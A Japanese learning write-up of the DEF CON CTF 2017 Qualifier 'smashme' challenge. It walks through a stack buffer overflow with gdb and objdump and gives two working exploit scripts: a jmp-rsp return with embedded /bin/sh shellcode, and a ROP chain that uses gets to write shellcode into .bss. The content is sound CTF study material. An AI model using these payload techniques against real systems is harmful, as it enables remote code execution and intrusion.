DEF CON CTF Qualifier 2017 smashme を勉強した記録
No eXecute bit(NX)無効
※ python + pwn でアセンブラをマシン語に変換を追記
NTT DATA のコラムで勉強
Solution:
bof で スタックに直にshellコードを書いて jmp rsp で実行する作戦。
リターンアドレスを,jmp rspのアドレスに書き換え,その下のshellコードを実行する。
// smashme.c
// gcc -fno-stack-protector -z execstack -static smashme.c -o smashme
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(int argc, char *argv[]){
char input[0x40];
puts("Welcome to the Dr. Phil Show. Wanna smash?");
fflush(stdin);
gets(input); // 0x40(64バイト)以上でオーバーフロー
// 特定の文字列を含んでいるかチェック
if(strstr(input, "Smash me outside, how bout dAAAAAAAAAAA")){
return 0;
}
exit(0);
bof
$ gdb -q ./smashme
gdb-peda$ b main
gdb-peda$ r
b main で止まった時のスタック
一番上に push ebp があり,
その下に main関数のリターンアドレス 0x401159 が見える
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x0000000000400b6d <+0>: push rbp
0x0000000000400b6e <+1>: mov rbp,rsp
=> 0x0000000000400b71 <+4>: sub rsp,0x50
0x0000000000400b75 <+8>: mov DWORD PTR [rbp-0x44],edi
0x0000000000400b78 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x0000000000400b7c <+15>: lea rdi,[rip+0x91625] # 0x4921a8
0x0000000000400b83 <+22>: call 0x410420 <puts>
0x0000000000400b88 <+27>: mov rax,QWORD PTR [rip+0x2b8c19] # 0x6b97a8 <stdin>
0x0000000000400b8f <+34>: mov rdi,rax
0x0000000000400b92 <+37>: call 0x40fe80 <fflush>
0x0000000000400b97 <+42>: lea rax,[rbp-0x40]
0x0000000000400b9b <+46>: mov rdi,rax
0x0000000000400b9e <+49>: mov eax,0x0
0x0000000000400ba3 <+54>: call 0x410270 <gets>
0x0000000000400ba8 <+59>: lea rax,[rbp-0x40]
0x0000000000400bac <+63>: lea rsi,[rip+0x91625] # 0x4921d8
0x0000000000400bb3 <+70>: mov rdi,rax
0x0000000000400bb6 <+73>: call 0x400468
0x0000000000400bbb <+78>: test rax,rax
0x0000000000400bbe <+81>: je 0x400bc7 <main+90>
0x0000000000400bc0 <+83>: mov eax,0x0
0x0000000000400bc5 <+88>: jmp 0x400bd1 <main+100>
0x0000000000400bc7 <+90>: mov edi,0x0
0x0000000000400bcc <+95>: call 0x40ea90 <exit>
0x0000000000400bd1 <+100>: leave
0x0000000000400bd2 <+101>: ret
End of assembler dump.
getsの後にブレークポイントを設定,cで流した後,AAA を入力する
gdb-peda$ b *0x0000000000400ba8
Breakpoint 2 at 0x400ba8
gdb-peda$ c
Continuing.
Welcome to the Dr. Phil Show. Wanna smash?
AAA
スタック見てみる
計算通り,A * 64 で push ebp にぶつかり,その次がリターンアドレスだ
よって A は (64 + 8) = 72 必要。
jmp rspをさがす
Intel Manual --> objdump
jmp rsp の opcode を信憑性高くまとめているサイトは発見できなかった。
よって本家の2000ページ以上あるpdfを調べ上げた。
レジスタをジャンプ先にする jmp命令 は ff xx の2バイト (xx はレジスタを識別するオペランド)
レジスタをジャンプ先にする jmp命令において,レジスタを識別するオペランド
例えば
jmp rax であれば ff e0
jmp rsp であれば ff e4
objdumpで探してみる
objdump -d -M intel ./smashme | less
49d842: 48 8b 1d ff e4 22 00 mov rbx,QWORD PTR [rip+0x22e4ff] # 6cbd48 <seen_objects>
あった。
0x49d845 でいけそう
ただし,今まで私は,objdump | less を使ってきたが,限界も感じる。
そこで先生も使っていた rp++ を使ってみた。
rp++
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64
$ ./rp-lin-x64 -f ./smashme --rop=1 --unique | grep "jmp rsp"
0x004c25aa: clc ; jmp rsp ; (1 found)
0x004c54f2: cli ; jmp rsp ; (1 found)
0x0045f782: jmp rsp ; (5 found)
0x004bd849: sar ebp, cl ; jmp rsp ; (1 found)
0x004bd84a: std ; jmp rsp ; (1 found)
0x004c25a9: xor al, bh ; jmp rsp ; (1 found)
0x49d845は含まれていない。
0x45f782を検証してみる
objdump -d -M intel ./smashme | less
45f77c: 48 c7 85 78 ef ff ff mov QWORD PTR [rbp-0x1088],0x4b2be4
45f783: e4 2b 4b 00
やはり思った通り,less の検索では発見できない場所で発見してる。
python + pwn
知らなかった。こんなの
$ python
Python 2.7.17 (default, Feb 27 2021, 15:10:58)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context.arch = "amd64"
>>> asm("jmp rsp")
'\xff\xe4'
>>> binary = elf.load("smashme")
[*] '/home/xxx/share/smashme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
>>> hex(next(binary.search("\xff\xe4")))
'0x45f782'
攻撃コード
# coding: UTF-8
# https://www.intellilink.co.jp/article/column/ctf01.html
import pwn
import struct
#io = pwn.remote("smashme_omgbabysfirst.quals.shallweplayaga.me ", 57348)
io = pwn.process("./smashme")
ret = io.readuntil("Welcome to the Dr. Phil Show. Wanna smash?")
print(ret)
smash_me = b"Smash me outside, how bout dAAAAAAAAAAA"
bufsize = 64+8
addr_jmp_rsp = 0x49d845
'''
49d842: 48 8b 1d ff e4 22 00 mov rbx,QWORD PTR [rip+0x22e4ff] # 6cbd48 <seen_objects>
'''
# Linux/x86-64 - Execute /bin/sh - 27 bytes by Dad`
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s = smash_me
s += b"A" * (bufsize - len(smash_me))
#s += struct.pack("<Q",addr_jmp_rsp)
s += pwn.p64(addr_jmp_rsp)
s += shellcode
print(s)
#io.send(s)
io.sendline(s)
io.interactive()
実行
# python smashme1.py
[+] Starting local process './smashme': pid 318
Welcome to the Dr. Phil Show. Wanna smash?
Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x82E\x00\x00H\xbbѝ\x96\x91Ќ\x97\xffHST_\x99RWT^\xb0;\x0f
[*] Switching to interactive mode
$ ls
なぜか1回目のlsには反応しないけど,2回目のlsで動いた。
io.send(s) --> io.sendline(s)に変更したら,1回のlsで動くようになった。
st98 の日記帳 で勉強
st98様,大変参考になりました。ありがとうございます。
さっそく新技
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
先生によると
bss セグメントにシェルコードを置いて実行してしまいましょう。
とある。
bss セグメント? 初耳
んーよくわらない。
先生の攻撃コードに出てくる
payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss
の検証
pop rdi ; ret
$ objdump -d -M intel ./smashme | less
4014d5: 41 5f pop r15
4014d7: c3 ret
gets
$ objdump -d -M intel ./smashme | less
4009e2: e8 e9 f0 00 00 call 40fad0 <_IO_gets>
.bss
$ objdump -h ./smashme | less
25 .bss 00001878 00000000006cab60 00000000006cab60 000cab50 2**5
ALLOC
攻撃コード
# coding: UTF-8
# https://st98.github.io/diary/posts/2017-05-02-def-con-ctf-2017-qualifiers.html
import time
from pwn import *
context(os='linux', arch='amd64')
payload = ''
payload += 'Smash me outside, how bout dAAAAAAAAAAA'
payload += 'A' * (64+8 - len(payload))
payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss <-- gets内のretでキックされ,shellコードが実行される
print payload # <-- gets(.bss) が実行され,入力待ちになる
time.sleep(.5)
print asm(shellcraft.sh()) # <-- gets(.bss) にshellコードが送られ,.bssに書き込まれる
実行
$ (python smashme2.py; cat) | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?
ls
~~仕組みは理解できないが,~~動いた。
gets で標準入力に渡されたシェルコードを .bss に書いてるところまでは理解できた。
printが2か所あるのは,たぶんそのため。
そして,getsはcallで呼ばれたと勘違いして ret し,.bssに書かれたシェルコードが動き出すということか。
こういうのを ret2read と呼ぶのかな?
若い人達が pwn にはまるわけだ。知的ゲームだ。
callerとcallee
gets